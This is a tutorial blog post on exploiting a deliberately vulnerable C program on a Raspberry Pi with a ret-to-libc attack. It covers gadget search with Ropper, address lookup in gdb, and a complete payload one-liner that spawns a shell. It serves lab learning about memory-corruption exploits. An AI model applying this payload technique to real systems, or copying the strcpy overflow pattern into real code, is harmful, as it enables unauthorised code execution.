ARM Exploitation with Raspberry Pi: ARM Ret-to-Libc

3 minute read

In this post we will learn how to exploit a vulnerable C program using ret-to-libc.

Before proceeding, you can read the previous posts:

ARM Exploitation with Raspberry Pi: Lab Setup

ARM Exploitation with Raspberry Pi: Basic Stack Overflow

ARM Exploitation with Raspberry Pi: Return Back to Program without Crashing

Vulnerable Program

We will use the following vulnerable program to exploit using ret-to-libc.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// This is our vulnerable function
void vulnerable(char *arg) {
    char buff[100];
    // to print return address
    printf("%p\n",&buff[0]);  
    strcpy(buff, arg);
}

// Pass argument in the vulnerable function
int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}

Payload Structure

We will use the following gadget

POP {R0, R4, PC} 

As we have 100 B buffer size, we will have the return address at starting at 105th position. So, we will fill the first 104 Bytes with any character or NOP sled. Here, the example payload looks like as follows:

payload = 104 B NOP/Char + Gadget Address + R0 Value + R4 Value + PC value 

Now, we will put the address of /bin/sh in R0 and the address of system() function in PC. Here, R4 value is not important and we will put junk value there. This means we will execute the shell using system().

Now, the payload is complete:

payload = 104 B NOP + POP instr. Address + /bin/sh address + "JUNK" + system() address

Find Addresses

Find Base Address

Now, we need to find out the shared library dependency for a particular executable of a vulnerable program,

$ ldd ./overflow
	linux-vdso.so.1 (0x76ffd000)
	/usr/lib/arm-linux-gnueabihf/libarmmem.so (0x76fb8000)
	libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76e79000)
	/lib/ld-linux-armhf.so.3 (0x76fce000)

Note: For larger/complex program the output is much longer. In that case, it is better to filter using grep.

$ ldd ./overflow | grep "libc.so.6"
    libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76e47000)

The base address is required to obtain the final address of the gadgets.

Address of POP instruction

We are using the Raspbian Buster, the gcc version is now $8$.

Now, to find the new address we use Ropper. Let’s first install the Ropper by installing particular frameworks using following commands:

pi@raspberry:~$ sudo pip install capstone
pi@raspberry:~$ sudo pip install filebytes
pi@raspberry:~$ sudo pip install keystone-engine

Now, let’s install Ropper:

pi@raspberry:~$ git clone https://github.com/sashs/Ropper.git
pi@raspberry:~$ cd Ropper
pi@raspberry:~$ python setup.py install
pi@raspberry:~$ ropper

We can also use the Ropper.py file directly. Now, let’s find the gadget address using the following command:

pi@raspberry:~$ ./Ropper.py --file /lib/arm-linux-gnueabihf/libc.so.6 --search "pop {r0, r4, pc}"

    [INFO] Load gadgets for section: LOAD
    [LOAD] loading... 100%
    [LOAD] removing double gadgets... 100%
    [INFO] Searching for gadgets: pop {r0, r4, pc}
    
    [INFO] File: /lib/arm-linux-gnueabihf/libc.so.6
    0x000791fc: pop {r0, r4, pc};

We need check it again using gdb [Not necessary, we got our address.]

pi@raspberry:~$ gdb -q /lib/arm-linux-gnueabihf/libc.so.6
(gdb) x/i 0x000791fc
   0x791fc <memmove+236>:	pop	{r0, r4, pc}

Now, we will add the address with the base address-

pi@raspberrypi:~$ python3
Python 3.7.3 (default, Dec 20 2019, 18:57:59) 
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> hex(0x76e47000+0x000791fc)
'0x76ec01fc'
>>> 

So, finally we have our required final address of the gadget for the target program.

Address of System()

Let’s find the address of the system using gdb:

$ gdb -q ./overflow
    GEF for linux ready, type `gef' to start, `gef config' to configure
    79 commands loaded for GDB 7.12.0.20161007-git using Python engine 3.5
    [*] 1 command could not be loaded, run `gef missing` to know why.
    Reading symbols from ./overflow...(no debugging symbols found)...done.
    gef->  break main
    Breakpoint 1 at 0x104fc
    gef->  run
    Starting program: /home/pi/overflow
    .......................................
    .......................................
    
    gef->  print system
    $1 = {int (const char *)} 0x76e7f9c8 <__libc_system>

Address of /bin/sh

We can retrieve the address of /bin/sh in the same way inside gdb

    gef> find &system,+9999999,"/bin/sh"
        
        0x76f72b6c
warning: Unable to access 16000 bytes of target memory at 0x76f82574, halting search.
1 pattern found.

So, the final address is : 0x76f72b6c

Final Payload

The padding should be upto the byte before return address starts. For example in our testbed we used 100 char arrays. Therefore, the return address should start from $105^{th}$ position and the padding should be 104 character or similar size of NoP sled.

Note that, the addresses should be in Little Endian order.

$ ./overflow $(python -c 'print "A"*104+"\xfc\x01\xec\x76"+"\x6c\x2b\xf7\x76"+"JUNK"+"\xc8\xf9\xe7\x76"')

So, the output will look like as follows:

pi@raspberrypi:~/test$ ./overflow $(python -c 'print "A"*104+"\xfc\x01\xec\x76"+"\x6c\x2b\xf7\x76"+"JUNK"+"\xc8\xf9\xe7\x76"')

$ ls
overflow  overflow.c
$ pwd
/home/pi/test
$ 

Bingo!!! Have fun!!!

Leave a Comment